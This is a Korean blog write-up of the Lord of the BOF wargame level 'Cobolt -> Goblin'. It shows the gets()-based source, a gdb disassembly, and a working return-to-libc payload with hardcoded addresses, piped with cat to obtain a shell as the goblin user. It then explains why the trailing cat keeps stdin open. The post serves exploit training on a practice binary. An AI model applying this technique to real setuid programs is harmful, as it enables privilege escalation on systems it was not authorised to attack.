Sh4n3e

[시스템해킹][LOB] Level3 : Cobolt -> Goblin 본문

Wargame/LOB

[시스템해킹][LOB] Level3 : Cobolt -> Goblin

sh4n3e 2017. 6. 22. 14:57

해당 문제도 이전에 사용했던 RTL Payload를 그대로 사용한다.

 

문제를 파악해보자.


/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);

 

해당 문제는 이전 문제와는 다르게 표준입출력을 통해 입력을 받는 것을 확인할 수 있다. (표준입출력(stdin) : getsh)

따라서 이전과는 다른 방식으로 페이로드를 넘겨줘야만 한다.

그 전에 어셈블 코드를 한번 살펴보자

 

 [cobolt@localhost cobolt]$ gdb -q g
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x80483f8 <main>: push   %ebp
0x80483f9 <main+1>: mov    %ebp,%esp
0x80483fb <main+3>: sub    %esp,16
0x80483fe <main+6>: lea    %eax,[%ebp-16]
0x8048401 <main+9>: push   %eax
0x8048402 <main+10>: call   0x804830c <gets>
0x8048407 <main+15>: add    %esp,4
0x804840a <main+18>: lea    %eax,[%ebp-16]
0x804840d <main+21>: push   %eax
0x804840e <main+22>: push   0x8048470
0x8048413 <main+27>: call   0x804833c <printf>
0x8048418 <main+32>: add    %esp,8
0x804841b <main+35>: leave 
0x804841c <main+36>: ret   
0x804841d <main+37>: nop   
0x804841e <main+38>: nop   
0x804841f <main+39>: nop   
End of assembler dump.

 

코드는 비교적 매우 간단하다.

바로 이전에 사용한 페이로드와 동일하게 사용하면 된다는 것을 알 수 있다.

 

그럼 공격해보자

 

 [cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'; cat)|./goblin

AAAAAAAAAAAAAAAAAAAA��@BBBB��@
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
/bin/my-pass
euid = 503
hackers proof

 


* 추가 내용

 

여기에서 ;cat을 붙여주는 이유는 stdin으로 입력할 것들을 pipe를 통하여 넣어주었을 경우 ;cat을 붙여주어야 하는 이유는 EOF 때문인데 (python으로 짠 shell을 실행시켜주는 exploit)|./attackbinary를 하였을 때, exploit이 제대로 작성되었다면 shell이 실행된다. 하지만 이 때 실행된 shell에게 stdin은 EOF를 주게 되고, shell이 정상적으로 실행되었다가 종료되게 된다.

하지만 cat을 붙여주게 되면, python의 실행이 끝나고(혹은 echo의 실행이 끝나고) cat을 실행시켜주게 되는데, python이나 echo만 실행하였을 때는 각 프로그램이 출력시킬 것들을 stdout으로 보내면 끝이니까 마지막에 EOF가 나오게 되지만 cat이 붙으면 cat의 작동이 끝나기 전까지는 EOF가 나오지 않아서 사용자가 입력한 명령어를 보내고 종료하기 전까진 EOF가 나오지 않아 ;cat을 붙여주는 것이다.



출처: http://zairo.tistory.com/entry/Load-of-BOF-Chellange-Cobolt [Stay hungry, Stay foolish.]

Comments